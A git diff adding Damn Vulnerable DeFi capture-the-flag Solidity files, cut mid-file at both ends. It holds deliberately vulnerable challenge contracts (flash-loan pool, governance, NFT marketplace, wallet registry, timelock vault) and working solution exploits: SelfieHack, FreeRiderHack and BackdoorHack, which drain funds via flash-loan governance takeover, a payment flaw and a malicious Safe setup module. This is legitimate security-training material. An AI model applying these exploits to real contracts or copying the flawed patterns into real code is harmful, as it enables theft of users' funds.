(address(token) != _token) { + revert UnsupportedCurrency(); + } + return 0; + } + + function flashLoan( + IERC3156FlashBorrower _receiver, + address _token, + uint256 _amount, + bytes calldata _data + ) + external + nonReentrant + returns (bool) + { + if (_token != address(token)) { + revert UnsupportedCurrency(); + } + + token.transfer(address(_receiver), _amount); + if (_receiver.onFlashLoan(msg.sender, _token, _amount, 0, _data) != CALLBACK_SUCCESS) { + revert CallbackFailed(); + } + + if (!token.transferFrom(address(_receiver), address(this), _amount)) { + revert RepayFailed(); + } + + return true; + } + + function emergencyExit(address receiver) external onlyGovernance { + uint256 amount = token.balanceOf(address(this)); + token.transfer(receiver, amount); + + emit FundsDrained(receiver, amount); + } +} + +interface ISimpleGovernance { + struct GovernanceAction { + uint128 value; + uint64 proposedAt; + uint64 executedAt; + address target; + bytes data; + } + + error NotEnoughVotes(address who); + error CannotExecute(uint256 actionId); + error InvalidTarget(); + error TargetMustHaveCode(); + error ActionFailed(uint256 actionId); + + event ActionQueued(uint256 actionId, address indexed caller); + event ActionExecuted(uint256 actionId, address indexed caller); + + function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId); + function executeAction(uint256 actionId) external payable returns (bytes memory returndata); + function getActionDelay() external view returns (uint256 delay); + function getGovernanceToken() external view returns (address token); + function getAction(uint256 actionId) external view returns (GovernanceAction memory action); + function getActionCounter() external view returns (uint256); +} + +contract SimpleGovernance is ISimpleGovernance { + uint256 private constant ACTION_DELAY_IN_SECONDS = 2 days; + DamnValuableTokenSnapshot private _governanceToken; + uint256 private _actionCounter; + mapping(uint256 => GovernanceAction) private _actions; + + constructor(address governanceToken) { + _governanceToken = DamnValuableTokenSnapshot(governanceToken); + _actionCounter = 1; + } + + function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId) { + if (!_hasEnoughVotes(msg.sender)) { + revert NotEnoughVotes(msg.sender); + } + + if (target == address(this)) { + revert InvalidTarget(); + } + + if (data.length > 0 && target.code.length == 0) { + revert TargetMustHaveCode(); + } + + actionId = _actionCounter; + + _actions[actionId] = GovernanceAction({ + target: target, + value: value, + proposedAt: uint64(block.timestamp), + executedAt: 0, + data: data + }); + + unchecked { + _actionCounter++; + } + + emit ActionQueued(actionId, msg.sender); + } + + function executeAction(uint256 actionId) external payable returns (bytes memory) { + if (!_canBeExecuted(actionId)) { + revert CannotExecute(actionId); + } + + GovernanceAction storage actionToExecute = _actions[actionId]; + actionToExecute.executedAt = uint64(block.timestamp); + + emit ActionExecuted(actionId, msg.sender); + + (bool success, bytes memory returndata) = + actionToExecute.target.call{ value: actionToExecute.value }(actionToExecute.data); + if (!success) { + if (returndata.length > 0) { + assembly { + revert(add(0x20, returndata), mload(returndata)) + } + } else { + revert ActionFailed(actionId); + } + } + + return returndata; + } + + function getActionDelay() external pure returns (uint256) { + return ACTION_DELAY_IN_SECONDS; + } + + function getGovernanceToken() external view returns (address) { + return address(_governanceToken); + } + + function getAction(uint256 actionId) external view returns (GovernanceAction memory) { + return _actions[actionId]; + } + + function getActionCounter() external view returns (uint256) { + return _actionCounter; + } + + /** + * @dev an action can only be executed if: + * 1) it's never been executed before and + * 2) enough time has passed since it was first proposed + */ + function _canBeExecuted(uint256 actionId) private view returns (bool) { + GovernanceAction memory actionToExecute = _actions[actionId]; + + if ( + actionToExecute.proposedAt == 0 // early exit + ) { + return false; + } + + uint64 timeDelta; + unchecked { + timeDelta = uint64(block.timestamp) - actionToExecute.proposedAt; + } + + return actionToExecute.executedAt == 0 && timeDelta >= ACTION_DELAY_IN_SECONDS; + } + + function _hasEnoughVotes(address who) private view returns (bool) { + uint256 balance = _governanceToken.getBalanceAtLastSnapshot(who); + uint256 halfTotalSupply = _governanceToken.getTotalSupplyAtLastSnapshot() / 2; + return balance > halfTotalSupply; + } +} + +contract SelfieHack is IERC3156FlashBorrower { + SelfiePool pool; + SimpleGovernance governance; + DamnValuableTokenSnapshot token; + address owner; + uint256 actionId; + + constructor(address _pool, address _governance, address _token) { + owner = msg.sender; + pool = SelfiePool(_pool); + governance = SimpleGovernance(_governance); + token = DamnValuableTokenSnapshot(_token); + } + + function attack(uint256 amount) public { + // call flashloan + pool.flashLoan(IERC3156FlashBorrower(this), address(token), amount, "0x"); + } + + function onFlashLoan(address, address, uint256 amount, uint256, bytes calldata) external returns (bytes32) { + // queue action + token.snapshot(); + actionId = governance.queueAction(address(pool), 0, abi.encodeWithSignature("emergencyExit(address)", owner)); + token.approve(address(pool), amount); + return keccak256("ERC3156FlashBorrower.onFlashLoan"); + } + + function executeAction() public { + governance.executeAction(actionId); + } +} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/07.Compromised.sol b/contracts/CTF/Damn-Vulnerable-DeFi/07.Compromised.sol new file mode 100644 index 0000000..4b6a35b --- /dev/null +++ b/contracts/CTF/Damn-Vulnerable-DeFi/07.Compromised.sol @@ -0,0 +1,176 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "@solady/utils/LibSort.sol"; +import "@openzeppelin/contracts-v4.7.1/utils/Address.sol"; +import "@openzeppelin/contracts-v4.7.1/security/ReentrancyGuard.sol"; +import "@openzeppelin/contracts-v4.7.1/access/AccessControlEnumerable.sol"; +import { DamnValuableNFT } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableNFT.sol"; + +contract Exchange is ReentrancyGuard { + using Address for address payable; + + DamnValuableNFT public immutable token; + TrustfulOracle public immutable oracle; + + error InvalidPayment(); + error SellerNotOwner(uint256 id); + error TransferNotApproved(); + error NotEnoughFunds(); + + event TokenBought(address indexed buyer, uint256 tokenId, uint256 price); + event TokenSold(address indexed seller, uint256 tokenId, uint256 price); + + constructor(address _oracle) payable { + token = new DamnValuableNFT(); + token.renounceOwnership(); + oracle = TrustfulOracle(_oracle); + } + + function buyOne() external payable nonReentrant returns (uint256 id) { + if (msg.value == 0) { + revert InvalidPayment(); + } + + // Price should be in [wei / NFT] + uint256 price = oracle.getMedianPrice(token.symbol()); + + if (msg.value < price) { + revert InvalidPayment(); + } + + id = token.safeMint(msg.sender); + unchecked { + payable(msg.sender).sendValue(msg.value - price); + } + + emit TokenBought(msg.sender, id, price); + } + + function sellOne(uint256 id) external nonReentrant { + if (msg.sender != token.ownerOf(id)) { + revert SellerNotOwner(id); + } + + if (token.getApproved(id) != address(this)) { + revert TransferNotApproved(); + } + + // Price should be in [wei / NFT] + uint256 price = oracle.getMedianPrice(token.symbol()); + if (address(this).balance < price) { + revert NotEnoughFunds(); + } + + token.transferFrom(msg.sender, address(this), id); + token.burn(id); + + payable(msg.sender).sendValue(price); + + emit TokenSold(msg.sender, id, price); + } + + receive() external payable { } +} + +contract TrustfulOracle is AccessControlEnumerable { + uint256 public constant MIN_SOURCES = 1; + bytes32 public constant TRUSTED_SOURCE_ROLE = keccak256("TRUSTED_SOURCE_ROLE"); + bytes32 public constant INITIALIZER_ROLE = keccak256("INITIALIZER_ROLE"); + + // Source address => (symbol => price) + mapping(address => mapping(string => uint256)) private _pricesBySource; + + error NotEnoughSources(); + + event UpdatedPrice(address indexed source, string indexed symbol, uint256 oldPrice, uint256 newPrice); + + constructor(address[] memory sources, bool enableInitialization) { + if (sources.length < MIN_SOURCES) { + revert NotEnoughSources(); + } + for (uint256 i = 0; i < sources.length;) { + unchecked { + _setupRole(TRUSTED_SOURCE_ROLE, sources[i]); + ++i; + } + } + if (enableInitialization) { + _setupRole(INITIALIZER_ROLE, msg.sender); + } + } + + // A handy utility allowing the deployer to setup initial prices (only once) + function setupInitialPrices( + address[] calldata sources, + string[] calldata symbols, + uint256[] calldata prices + ) + external + onlyRole(INITIALIZER_ROLE) + { + // Only allow one (symbol, price) per source + require(sources.length == symbols.length && symbols.length == prices.length); + for (uint256 i = 0; i < sources.length;) { + unchecked { + _setPrice(sources[i], symbols[i], prices[i]); + ++i; + } + } + renounceRole(INITIALIZER_ROLE, msg.sender); + } + + function postPrice(string calldata symbol, uint256 newPrice) external onlyRole(TRUSTED_SOURCE_ROLE) { + _setPrice(msg.sender, symbol, newPrice); + } + + function getMedianPrice(string calldata symbol) external view returns (uint256) { + return _computeMedianPrice(symbol); + } + + function getAllPricesForSymbol(string memory symbol) public view returns (uint256[] memory prices) { + uint256 numberOfSources = getRoleMemberCount(TRUSTED_SOURCE_ROLE); + prices = new uint256[](numberOfSources); + for (uint256 i = 0; i < numberOfSources;) { + address source = getRoleMember(TRUSTED_SOURCE_ROLE, i); + prices[i] = getPriceBySource(symbol, source); + unchecked { + ++i; + } + } + } + + function getPriceBySource(string memory symbol, address source) public view returns (uint256) { + return _pricesBySource[source][symbol]; + } + + function _setPrice(address source, string memory symbol, uint256 newPrice) private { + uint256 oldPrice = _pricesBySource[source][symbol]; + _pricesBySource[source][symbol] = newPrice; + emit UpdatedPrice(source, symbol, oldPrice, newPrice); + } + + function _computeMedianPrice(string memory symbol) private view returns (uint256) { + uint256[] memory prices = getAllPricesForSymbol(symbol); + LibSort.insertionSort(prices); + if (prices.length % 2 == 0) { + uint256 leftPrice = prices[(prices.length / 2) - 1]; + uint256 rightPrice = prices[prices.length / 2]; + return (leftPrice + rightPrice) / 2; + } else { + return prices[prices.length / 2]; + } + } +} + +contract TrustfulOracleInitializer { + event NewTrustfulOracle(address oracleAddress); + + TrustfulOracle public oracle; + + constructor(address[] memory sources, string[] memory symbols, uint256[] memory initialPrices) { + oracle = new TrustfulOracle(sources, true); + oracle.setupInitialPrices(sources, symbols, initialPrices); + emit NewTrustfulOracle(address(oracle)); + } +} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/08.Puppet.sol b/contracts/CTF/Damn-Vulnerable-DeFi/08.Puppet.sol new file mode 100644 index 0000000..15a8c0d --- /dev/null +++ b/contracts/CTF/Damn-Vulnerable-DeFi/08.Puppet.sol @@ -0,0 +1,2 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/09.Puppet-V2.sol b/contracts/CTF/Damn-Vulnerable-DeFi/09.Puppet-V2.sol new file mode 100644 index 0000000..15a8c0d --- /dev/null +++ b/contracts/CTF/Damn-Vulnerable-DeFi/09.Puppet-V2.sol @@ -0,0 +1,2 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.sol b/contracts/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.sol new file mode 100644 index 0000000..dd1891a --- /dev/null +++ b/contracts/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.sol @@ -0,0 +1,264 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { IERC721 } from "@openzeppelin/contracts-v4.7.1/token/ERC721/IERC721.sol"; +import { Address } from "@openzeppelin/contracts-v4.7.1/utils/Address.sol"; +import { ReentrancyGuard } from "@openzeppelin/contracts-v4.7.1/security/ReentrancyGuard.sol"; +import { IERC721Receiver } from "@openzeppelin/contracts-v4.7.1/token/ERC721/IERC721Receiver.sol"; + +import { DamnValuableNFT } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableNFT.sol"; +import { IUniswapV2Callee } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Callee.sol"; +import { IUniswapV2Pair } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; + +/** + * @title FreeRiderNFTMarketplace + * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) + */ +contract FreeRiderNFTMarketplace is ReentrancyGuard { + using Address for address payable; + + DamnValuableNFT public token; + uint256 public offersCount; + + // tokenId -> price + mapping(uint256 => uint256) private offers; + + event NFTOffered(address indexed offerer, uint256 tokenId, uint256 price); + event NFTBought(address indexed buyer, uint256 tokenId, uint256 price); + + error InvalidPricesAmount(); + error InvalidTokensAmount(); + error InvalidPrice(); + error CallerNotOwner(uint256 tokenId); + error InvalidApproval(); + error TokenNotOffered(uint256 tokenId); + error InsufficientPayment(); + + constructor(uint256 amount) payable { + DamnValuableNFT _token = new DamnValuableNFT(); + _token.renounceOwnership(); + for (uint256 i = 0; i < amount;) { + _token.safeMint(msg.sender); + unchecked { + ++i; + } + } + token = _token; + } + + function offerMany(uint256[] memory tokenIds, uint256[] memory prices) external nonReentrant { + uint256 amount = tokenIds.length; + if (amount == 0) { + revert InvalidTokensAmount(); + } + + if (amount != prices.length) { + revert InvalidPricesAmount(); + } + + for (uint256 i = 0; i < amount;) { + unchecked { + _offerOne(tokenIds[i], prices[i]); + ++i; + } + } + } + + function _offerOne(uint256 tokenId, uint256 price) private { + DamnValuableNFT _token = token; // gas savings + + if (price == 0) { + revert InvalidPrice(); + } + + if (msg.sender != _token.ownerOf(tokenId)) { + revert CallerNotOwner(tokenId); + } + + if (_token.getApproved(tokenId) != address(this) && !_token.isApprovedForAll(msg.sender, address(this))) { + revert InvalidApproval(); + } + + offers[tokenId] = price; + + assembly { + // gas savings + sstore(0x02, add(sload(0x02), 0x01)) + } + + emit NFTOffered(msg.sender, tokenId, price); + } + + function buyMany(uint256[] calldata tokenIds) external payable nonReentrant { + for (uint256 i = 0; i < tokenIds.length;) { + unchecked { + _buyOne(tokenIds[i]); + ++i; + } + } + } + + function _buyOne(uint256 tokenId) private { + uint256 priceToPay = offers[tokenId]; + if (priceToPay == 0) { + revert TokenNotOffered(tokenId); + } + + // @audit-issue I can purchase 6 NFTs while paying only for one + // @audit-info msg.value doesn't change even if we sent the ETH out + if (msg.value < priceToPay) { + revert InsufficientPayment(); + } + + --offersCount; + + // transfer from seller to buyer + DamnValuableNFT _token = token; // cache for gas savings + // @audit-issue Medium / High seller can revoke the token spending approval + _token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId); + + // @audit-issue Eth is being send to the buyer instead of the seller + // @audit-info This happens because we transfered the token before sending the ETH and changed it's ownership + // pay seller using cached token + payable(_token.ownerOf(tokenId)).sendValue(priceToPay); + + emit NFTBought(msg.sender, tokenId, priceToPay); + } + + receive() external payable { } +} + +contract FreeRiderRecovery is ReentrancyGuard, IERC721Receiver { + using Address for address payable; + + uint256 private constant PRIZE = 45 ether; + address private immutable beneficiary; + IERC721 private immutable nft; + uint256 private received; + + error NotEnoughFunding(); + error CallerNotNFT(); + error OriginNotBeneficiary(); + error InvalidTokenID(uint256 tokenId); + error StillNotOwningToken(uint256 tokenId); + + constructor(address _beneficiary, address _nft) payable { + if (msg.value != PRIZE) { + revert NotEnoughFunding(); + } + beneficiary = _beneficiary; + nft = IERC721(_nft); + IERC721(_nft).setApprovalForAll(msg.sender, true); + } + + // Read https://eips.ethereum.org/EIPS/eip-721 for more info on this function + function onERC721Received( + address, + address, + uint256 _tokenId, + bytes memory _data + ) + external + override + nonReentrant + returns (bytes4) + { + if (msg.sender != address(nft)) { + revert CallerNotNFT(); + } + + if (tx.origin != beneficiary) { + revert OriginNotBeneficiary(); + } + + if (_tokenId > 5) { + revert InvalidTokenID(_tokenId); + } + + if (nft.ownerOf(_tokenId) != address(this)) { + revert StillNotOwningToken(_tokenId); + } + + if (++received == 6) { + address recipient = abi.decode(_data, (address)); + payable(recipient).sendValue(PRIZE); + } + + return IERC721Receiver.onERC721Received.selector; + } +} + +// Wrapped Ether https://etherscan.io/token/0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2#code +interface IWETH { + function name() external view returns (string memory); + function approve(address guy, uint256 amount) external returns (bool); + function totalSupply() external view returns (uint256); + function transferFrom(address src, address dst, uint256 amount) external returns (bool); + function withdraw(uint256 amount) external; + function decimals() external view returns (uint8); + function balanceOf(address) external view returns (uint256); + function symbol() external view returns (string memory); + function transfer(address dst, uint256 amount) external returns (bool); + function deposit() external payable; + function allowance(address, address) external view returns (uint256); + + event Approval(address indexed src, address indexed guy, uint256 amount); + event Transfer(address indexed src, address indexed dst, uint256 amount); + event Deposit(address indexed dst, uint256 amount); + event Withdrawal(address indexed src, uint256 amount); +} + +contract FreeRiderHack is IUniswapV2Callee { + IUniswapV2Pair private immutable pair; + FreeRiderNFTMarketplace private immutable marketplace; + + IWETH private immutable weth; + IERC721 private immutable nft; + + address private immutable recoveryContract; + address private immutable player; + + uint256 private constant NFT_PRICE = 15 ether; + uint256[] private tokens = [0, 1, 2, 3, 4, 5]; + + constructor(address _pair, address payable _marketplace, address _weth, address _nft, address _recoveryContract) { + pair = IUniswapV2Pair(_pair); + marketplace = FreeRiderNFTMarketplace(_marketplace); + weth = IWETH(_weth); + nft = IERC721(_nft); + recoveryContract = _recoveryContract; + player = msg.sender; + } + + function attack() external payable { + // 1. Request a flashSwap of 15 WETH from Uniswap Pair + pair.swap(0, NFT_PRICE, address(this), abi.encode(NFT_PRICE)); + } + + function uniswapV2Call(address, uint256, uint256, bytes calldata) external { + // 1.Access Control + require(msg.sender == address(pair), "Only Uniswap Pair Can call"); + + // 2. Unwrap WETH to native ETH + weth.withdraw(NFT_PRICE); + + // 3. Buy 6 NFTS for only 15 ETH total + marketplace.buyMany{ value: NFT_PRICE }(tokens); + + // // 4. Pay back 15WETH + 0.3% to the pair contract + uint256 amountToPayBack = NFT_PRICE * 1004 / 1000; + weth.deposit{ value: amountToPayBack }(); + weth.transfer(address(pair), amountToPayBack); + + // // 5. Send NFTs to recovery contract so we can get the bounty + for (uint256 i; i < tokens.length; i++) { + nft.safeTransferFrom(address(this), recoveryContract, i, abi.encode(player)); + } + } + + function onERC721Received(address, address, uint256, bytes memory) external pure returns (bytes4) { + return IERC721Receiver.onERC721Received.selector; + } + + receive() external payable { } +} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/11.Backdoor.sol b/contracts/CTF/Damn-Vulnerable-DeFi/11.Backdoor.sol new file mode 100644 index 0000000..ab2e549 --- /dev/null +++ b/contracts/CTF/Damn-Vulnerable-DeFi/11.Backdoor.sol @@ -0,0 +1,206 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { Ownable } from "@solady/auth/Ownable.sol"; +import { SafeTransferLib } from "@solady/utils/SafeTransferLib.sol"; +import { IERC20 } from "@openzeppelin/contracts-v4.7.1/token/ERC20/IERC20.sol"; +import { GnosisSafe } from "@gnosis.pm/safe-contracts-v1.3.0/GnosisSafe.sol"; +import { + GnosisSafeProxy, + IProxyCreationCallback +} from "@gnosis.pm/safe-contracts-v1.3.0/proxies/IProxyCreationCallback.sol"; + +/** + * @title WalletRegistry + * @notice A registry for Gnosis Safe wallets. + * When known beneficiaries deploy and register their wallets, the registry sends some Damn Valuable Tokens + * to the wallet. + * @dev The registry has embedded verifications to ensure only legitimate Gnosis Safe wallets are stored. + * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) + */ +contract WalletRegistry is IProxyCreationCallback, Ownable { + uint256 private constant EXPECTED_OWNERS_COUNT = 1; + uint256 private constant EXPECTED_THRESHOLD = 1; + uint256 private constant PAYMENT_AMOUNT = 10 ether; + + address public immutable masterCopy; + address public immutable walletFactory; + IERC20 public immutable token; + + mapping(address => bool) public beneficiaries; + + // owner => wallet + mapping(address => address) public wallets; + + error NotEnoughFunds(); + error CallerNotFactory(); + error FakeMasterCopy(); + error InvalidInitialization(); + error InvalidThreshold(uint256 threshold); + error InvalidOwnersCount(uint256 count); + error OwnerIsNotABeneficiary(); + error InvalidFallbackManager(address fallbackManager); + + constructor( + address masterCopyAddress, + address walletFactoryAddress, + address tokenAddress, + address[] memory initialBeneficiaries + ) { + _initializeOwner(msg.sender); + + masterCopy = masterCopyAddress; + walletFactory = walletFactoryAddress; + token = IERC20(tokenAddress); + + for (uint256 i = 0; i < initialBeneficiaries.length;) { + unchecked { + beneficiaries[initialBeneficiaries[i]] = true; + ++i; + } + } + } + + function addBeneficiary(address beneficiary) external onlyOwner { + beneficiaries[beneficiary] = true; + } + + /** + * @notice Function executed when user creates a Gnosis Safe wallet via + * GnosisSafeProxyFactory::createProxyWithCallback + * setting the registry's address as the callback. + */ + function proxyCreated( + GnosisSafeProxy proxy, + address singleton, + bytes calldata initializer, + uint256 + ) + external + override + { + if (token.balanceOf(address(this)) < PAYMENT_AMOUNT) { + // fail early + revert NotEnoughFunds(); + } + + address payable walletAddress = payable(proxy); + + // Ensure correct factory and master copy + if (msg.sender != walletFactory) { + revert CallerNotFactory(); + } + + if (singleton != masterCopy) { + revert FakeMasterCopy(); + } + + // Ensure initial calldata was a call to `GnosisSafe::setup` + if (bytes4(initializer[:4]) != GnosisSafe.setup.selector) { + revert InvalidInitialization(); + } + + // Ensure wallet initialization is the expected + uint256 threshold = GnosisSafe(walletAddress).getThreshold(); + if (threshold != EXPECTED_THRESHOLD) { + revert InvalidThreshold(threshold); + } + + address[] memory owners = GnosisSafe(walletAddress).getOwners(); + if (owners.length != EXPECTED_OWNERS_COUNT) { + revert InvalidOwnersCount(owners.length); + } + + // Ensure the owner is a registered beneficiary + address walletOwner; + unchecked { + walletOwner = owners[0]; + } + if (!beneficiaries[walletOwner]) { + revert OwnerIsNotABeneficiary(); + } + + address fallbackManager = _getFallbackManager(walletAddress); + if (fallbackManager != address(0)) { + revert InvalidFallbackManager(fallbackManager); + } + + // Remove owner as beneficiary + beneficiaries[walletOwner] = false; + + // Register the wallet under the owner's address + wallets[walletOwner] = walletAddress; + + // Pay tokens to the newly created wallet + SafeTransferLib.safeTransfer(address(token), walletAddress, PAYMENT_AMOUNT); + } + + function _getFallbackManager(address payable wallet) private view returns (address) { + return abi.decode( + GnosisSafe(wallet).getStorageAt(uint256(keccak256("fallback_manager.handler.address")), 0x20), (address) + ); + } +} + +interface IGnosisFactory { + function createProxyWithCallback( + address _singleton, + bytes memory initializer, + uint256 saltNonce, + IProxyCreationCallback callback + ) + external + returns (GnosisSafeProxy proxy); +} + +contract MaliciousApprove { + function approve(address attacker, IERC20 token) public { + token.approve(attacker, type(uint256).max); + } +} + +contract BackdoorHack { + WalletRegistry private immutable walletRegistry; + IGnosisFactory private immutable factory; + GnosisSafe private immutable masterCopy; + IERC20 private immutable token; + MaliciousApprove private immutable maliciousApprove; + + constructor(address _walletRegistry, address[] memory users) { + // Set state variables + walletRegistry = WalletRegistry(_walletRegistry); + masterCopy = GnosisSafe(payable(walletRegistry.masterCopy())); + factory = IGnosisFactory(walletRegistry.walletFactory()); + token = IERC20(walletRegistry.token()); + + // Deploy malicious backdoor for approve + maliciousApprove = new MaliciousApprove(); + + // Create a new safe through the factory for every user + + bytes memory initializer; + address[] memory owners = new address[](1); + address wallet; + + for (uint256 i; i < users.length; i++) { + owners[0] = users[i]; + initializer = abi.encodeCall( + GnosisSafe.setup, + ( + owners, + 1, + address(maliciousApprove), + abi.encodeCall(maliciousApprove.approve, (address(this), token)), + address(0), + address(0), + 0, + payable(address(0)) + ) + ); + + wallet = address(factory.createProxyWithCallback(address(masterCopy), initializer, 0, walletRegistry)); + + token.transferFrom(wallet, msg.sender, token.balanceOf(wallet)); + } + } +} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/12.Climber.sol b/contracts/CTF/Damn-Vulnerable-DeFi/12.Climber.sol new file mode 100644 index 0000000..db9ea56 --- /dev/null +++ b/contracts/CTF/Damn-Vulnerable-DeFi/12.Climber.sol @@ -0,0 +1,275 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { SafeTransferLib } from "@solady/utils/SafeTransferLib.sol"; +import { AccessControl } from "@openzeppelin/contracts-v4.7.1/access/AccessControl.sol"; +import { Address } from "@openzeppelin/contracts-v4.7.1/utils/Address.sol"; +import { IERC20 } from "@openzeppelin/contracts-v4.7.1/token/ERC20/IERC20.sol"; +import { Initializable } from "@openzeppelin/contracts-upgradeable-v4.7.1/proxy/utils/Initializable.sol"; +import { OwnableUpgradeable } from "@openzeppelin/contracts-upgradeable-v4.7.1/access/OwnableUpgradeable.sol"; +import { UUPSUpgradeable } from "@openzeppelin/contracts-upgradeable-v4.7.1/proxy/utils/UUPSUpgradeable.sol"; + +/* ########################## */ +/* ### TIMELOCK CONSTANTS ### */ +/* ########################## */ + +// keccak256("ADMIN_ROLE"); +bytes32 constant ADMIN_ROLE = 0xa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c21775; + +// keccak256("PROPOSER_ROLE"); +bytes32 constant PROPOSER_ROLE = 0xb09aa5aeb3702cfd50b6b62bc4532604938f21248a27a1d5ca736082b6819cc1; + +uint256 constant MAX_TARGETS = 256; +uint256 constant MIN_TARGETS = 0; +uint256 constant MAX_DELAY = 14 days; + +/* ####################### */ +/* ### VAULT CONSTANTS ### */ +/* ####################### */ + +uint256 constant WITHDRAWAL_LIMIT = 1 ether; +uint256 constant WAITING_PERIOD = 15 days; + +error CallerNotTimelock(); +error NewDelayAboveMax(); +error NotReadyForExecution(bytes32 operationId); +error InvalidTargetsCount(); +error InvalidDataElementsCount(); +error InvalidValuesCount(); +error OperationAlreadyKnown(bytes32 operationId); +error CallerNotSweeper(); +error InvalidWithdrawalAmount(); +error InvalidWithdrawalTime(); + +/** + * @title ClimberTimelockBase + * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) + */ +abstract contract ClimberTimelockBase is AccessControl { + // Possible states for an operation in this timelock contract + enum OperationState { + Unknown, + Scheduled, + ReadyForExecution, + Executed + } + + // Operation data tracked in this contract + struct Operation { + uint64 readyAtTimestamp; // timestamp at which the operation will be ready for execution + bool known; // whether the operation is registered in the timelock + bool executed; // whether the operation has been executed + } + + // Operations are tracked by their bytes32 identifier + mapping(bytes32 => Operation) public operations; + + uint64 public delay; + + function getOperationState(bytes32 id) public view returns (OperationState state) { + Operation memory op = operations[id]; + + if (op.known) { + if (op.executed) { + state = OperationState.Executed; + } else if (block.timestamp < op.readyAtTimestamp) { + state = OperationState.Scheduled; + // @audit-info block.timestamp >= op.readyAtTimestamp + } else { + state = OperationState.ReadyForExecution; + } + } else { + state = OperationState.Unknown; + } + } + + function getOperationId( + address[] calldata targets, + uint256[] calldata values, + bytes[] calldata dataElements, + bytes32 salt + ) + public + pure + returns (bytes32) + { + return keccak256(abi.encode(targets, values, dataElements, salt)); + } + + receive() external payable { } +} + +contract ClimberTimelock is ClimberTimelockBase { + using Address for address; + + /** + * @notice Initial setup for roles and timelock delay. + * @param admin address of the account that will hold the ADMIN_ROLE role + * @param proposer address of the account that will hold the PROPOSER_ROLE role + */ + constructor(address admin, address proposer) { + _setRoleAdmin(ADMIN_ROLE, ADMIN_ROLE); + _setRoleAdmin(PROPOSER_ROLE, ADMIN_ROLE); + _setupRole(ADMIN_ROLE, admin); + _setupRole(ADMIN_ROLE, address(this)); // self administration + _setupRole(PROPOSER_ROLE, proposer); + + delay = 1 hours; + } + + function schedule( + address[] calldata targets, + uint256[] calldata values, + bytes[] calldata dataElements, + bytes32 salt + ) + external + onlyRole(PROPOSER_ROLE) + { + if (targets.length == MIN_TARGETS || targets.length >= MAX_TARGETS) { + revert InvalidTargetsCount(); + } + + if (targets.length != values.length) { + revert InvalidValuesCount(); + } + + if (targets.length != dataElements.length) { + revert InvalidDataElementsCount(); + } + + bytes32 id = getOperationId(targets, values, dataElements, salt); + + if (getOperationState(id) != OperationState.Unknown) { + revert OperationAlreadyKnown(id); + } + + operations[id].readyAtTimestamp = uint64(block.timestamp) + delay; + operations[id].known = true; + } + + /** + * Anyone can execute what's been scheduled via `schedule` + */ + function execute( + address[] calldata targets, + uint256[] calldata values, + bytes[] calldata dataElements, + bytes32 salt + ) + external + payable + { + if (targets.length <= MIN_TARGETS) { + revert InvalidTargetsCount(); + } + + if (targets.length != values.length) { + revert InvalidValuesCount(); + } + + if (targets.length != dataElements.length) { + revert InvalidDataElementsCount(); + } + + bytes32 id = getOperationId(targets, values, dataElements, salt); + + for (uint8 i = 0; i < targets.length;) { + targets[i].functionCallWithValue(dataElements[i], values[i]); + unchecked { + ++i; + } + } + + if (getOperationState(id) != OperationState.ReadyForExecution) { + revert NotReadyForExecution(id); + } + + operations[id].executed = true; + } + + function updateDelay(uint64 newDelay) external { + if (msg.sender != address(this)) { + revert CallerNotTimelock(); + } + + if (newDelay > MAX_DELAY) { + revert NewDelayAboveMax(); + } + + delay = newDelay; + } +} + +/** + * @title ClimberVault + * @dev To be deployed behind a proxy following the UUPS pattern. Upgrades are to be triggered by the owner. + * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) + */ +contract ClimberVault is Initializable, OwnableUpgradeable, UUPSUpgradeable { + uint256 private _lastWithdrawalTimestamp; + address private _sweeper; + + modifier onlySweeper() { + if (msg.sender != _sweeper) { + revert CallerNotSweeper(); + } + _; + } + + /// @custom:oz-upgrades-unsafe-allow constructor + constructor() { + _disableInitializers(); + } + + function initialize(address admin, address proposer, address sweeper) external initializer { + // Initialize inheritance chain + __Ownable_init(); + __UUPSUpgradeable_init(); + + // Deploy timelock and transfer ownership to it + transferOwnership(address(new ClimberTimelock(admin, proposer))); + + _setSweeper(sweeper); + _updateLastWithdrawalTimestamp(block.timestamp); + } + + // Allows the owner to send a limited amount of tokens to a recipient every now and then + function withdraw(address token, address recipient, uint256 amount) external onlyOwner { + if (amount > WITHDRAWAL_LIMIT) { + revert InvalidWithdrawalAmount(); + } + + if (block.timestamp <= _lastWithdrawalTimestamp + WAITING_PERIOD) { + revert InvalidWithdrawalTime(); + } + + _updateLastWithdrawalTimestamp(block.timestamp); + + SafeTransferLib.safeTransfer(token, recipient, amount); + } + + // Allows trusted sweeper account to retrieve any tokens + function sweepFunds(address token) external onlySweeper { + SafeTransferLib.safeTransfer(token, _sweeper, IERC20(token).balanceOf(address(this))); + } + + function getSweeper() external view returns (address) { + return _sweeper; + } + + function _setSweeper(address newSweeper) private { + _sweeper = newSweeper; + } + + function getLastWithdrawalTimestamp() external view returns (uint256) { + return _lastWithdrawalTimestamp; + } + + function 